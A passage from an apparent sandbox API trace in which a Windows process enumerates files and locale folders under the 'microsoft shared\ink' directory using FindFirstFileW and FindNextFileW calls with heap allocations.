ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipshrv.xml", cAlternateFileName="")) returned 1 [0276.439] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d14d081, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d14d081, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d14d081, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa0a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsid.xml", cAlternateFileName="")) returned 1 [0276.439] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c940eb6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7c940eb6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7c940eb6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x9de, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsita.xml", cAlternateFileName="")) returned 1 [0276.439] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c96711d, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7c96711d, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7c96711d, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x9da, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsjpn.xml", cAlternateFileName="")) returned 1 [0276.439] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d100bae, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d100bae, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d100bae, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa08, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipskor.xml", cAlternateFileName="")) returned 1 [0276.439] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe462e472, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe462e472, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xa400, dwReserved0=0x0, dwReserved1=0x0, cFileName="IpsMigrationPlugin.dll", cAlternateFileName="")) returned 1 [0276.439] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d100bae, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d100bae, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d100bae, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa42, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsnld.xml", cAlternateFileName="")) returned 1 [0276.439] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d100bae, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d100bae, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d100bae, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa14, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsnor.xml", cAlternateFileName="")) returned 1 [0276.439] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d100bae, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d100bae, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d100bae, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa28, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsplk.xml", cAlternateFileName="")) returned 1 [0276.439] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe46546cb, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe46546cb, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x1ec00, dwReserved0=0x0, dwReserved1=0x0, cFileName="IpsPlugin.dll", cAlternateFileName="")) returned 1 [0276.439] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c940eb6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7c940eb6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7c940eb6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x8c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsptb.xml", cAlternateFileName="")) returned 1 [0276.439] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c940eb6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7c940eb6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7c940eb6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x8c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsptg.xml", cAlternateFileName="")) returned 1 [0276.440] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c96711d, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7c96711d, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7c96711d, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa54, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsrom.xml", cAlternateFileName="")) returned 1 [0276.440] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c940eb6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7c940eb6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7c940eb6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x9ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsrus.xml", cAlternateFileName="")) returned 1 [0276.440] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c940eb6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7c940eb6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7c940eb6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa08, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipssrb.xml", cAlternateFileName="")) returned 1 [0276.440] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c940eb6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7c940eb6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7c940eb6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa24, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipssrl.xml", cAlternateFileName="")) returned 1 [0276.440] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c940eb6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7c940eb6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7c940eb6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x9d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipssve.xml", cAlternateFileName="")) returned 1 [0276.440] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d126e12, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d126e12, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xaa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipstr.xml", cAlternateFileName="")) returned 1 [0276.440] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0769b1e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-IT", cAlternateFileName="")) returned 1 [0276.440] GetProcessHeap () returned 0xaf0000 [0276.440] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3667258 [0276.440] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\it-IT\\*", lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0769b1e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1b0, cFileName=".", cAlternateFileName="")) returned 0xb03048 [0276.440] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0769b1e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1b0, cFileName="..", cAlternateFileName="")) returned 1 [0276.440] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e9592f9, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e9592f9, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e9592f9, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x1b0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0276.440] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e9592f9, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e9592f9, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e9592f9, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x1b0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0276.441] FindClose (in: hFindFile=0xb03048 | out: hFindFile=0xb03048) returned 1 [0276.441] GetProcessHeap () returned 0xaf0000 [0276.441] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3667258 | out: hHeap=0xaf0000) returned 1 [0276.441] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076a026, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0276.441] GetProcessHeap () returned 0xaf0000 [0276.441] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3667258 [0276.441] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ja-JP\\*", lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076a026, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1b0, cFileName=".", cAlternateFileName="")) returned 0xb03208 [0276.441] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076a026, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1b0, cFileName="..", cAlternateFileName="")) returned 1 [0276.441] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e9592f9, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e9592f9, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e9592f9, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x1b0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0276.441] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e9592f9, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e9592f9, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e9592f9, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x1b0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0276.441] FindClose (in: hFindFile=0xb03208 | out: hFindFile=0xb03208) returned 1 [0276.441] GetProcessHeap () returned 0xaf0000 [0276.441] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3667258 | out: hHeap=0xaf0000) returned 1 [0276.441] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076a7a6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0276.441] GetProcessHeap () returned 0xaf0000 [0276.442] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3667258 [0276.442] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ko-KR\\*", lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076a7a6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1b0, cFileName=".", cAlternateFileName="")) returned 0xb03048 [0276.442] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076a7a6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1b0, cFileName="..", cAlternateFileName="")) returned 1 [0276.442] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e933091, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e933091, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e933091, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x1b0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0276.442] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e933091, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e933091, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e933091, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x1b0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0276.442] FindClose (in: hFindFile=0xb03048 | out: hFindFile=0xb03048) returned 1 [0276.442] GetProcessHeap () returned 0xaf0000 [0276.442] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3667258 | out: hHeap=0xaf0000) returned 1 [0276.442] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076afd8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LanguageModel", cAlternateFileName="LANGUA~1")) returned 1 [0276.442] GetProcessHeap () returned 0xaf0000 [0276.442] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3667258 [0276.442] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\LanguageModel\\*", lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076afd8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1b0, cFileName=".", cAlternateFileName="")) returned 0xb02d88 [0276.442] FindNextFileW (in: hFindFile=0xb02d88, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076afd8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1b0, cFileName="..", cAlternateFileName="")) returned 1 [0276.442] FindNextFileW (in: hFindFile=0xb02d88, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3fbc74, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3fbc74, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3fbc74, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2fb, dwReserved0=0x0, dwReserved1=0x1b0, cFileName="chstic.dgml", cAlternateFileName="")) returned 1 [0276.442] FindNextFileW (in: hFindFile=0xb02d88, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3fbc74, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3fbc74, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3fbc74, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2fb, dwReserved0=0x0, dwReserved1=0x1b0, cFileName="chstic.dgml", cAlternateFileName="")) returned 0 [0276.442] FindClose (in: hFindFile=0xb02d88 | out: hFindFile=0xb02d88) returned 1 [0276.443] GetProcessHeap () returned 0xaf0000 [0276.443] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3667258 | out: hHeap=0xaf0000) returned 1 [0276.443] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076b52b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lt-LT", cAlternateFileName="")) returned 1 [0276.443] GetProcessHeap () returned 0xaf0000 [0276.443] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3667258 [0276.443] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\lt-LT\\*", lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076b52b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1b0, cFileName=".", cAlternateFileName="")) returned 0xb03208 [0276.443] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076b52b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1b0, cFileName="..", cAlternateFileName="")) returned 1 [0276.443] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e933091, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e933091, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e933091, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x1b0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0276.443] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e933091, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e933091, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e933091, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x1b0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0276.443] FindClose (in: hFindFile=0xb03208 | out: hFindFile=0xb03208) returned 1 [0276.443] GetProcessHeap () returned 0xaf0000 [0276.443] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3667258 | out: hHeap=0xaf0000) returned 1 [0276.443] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, 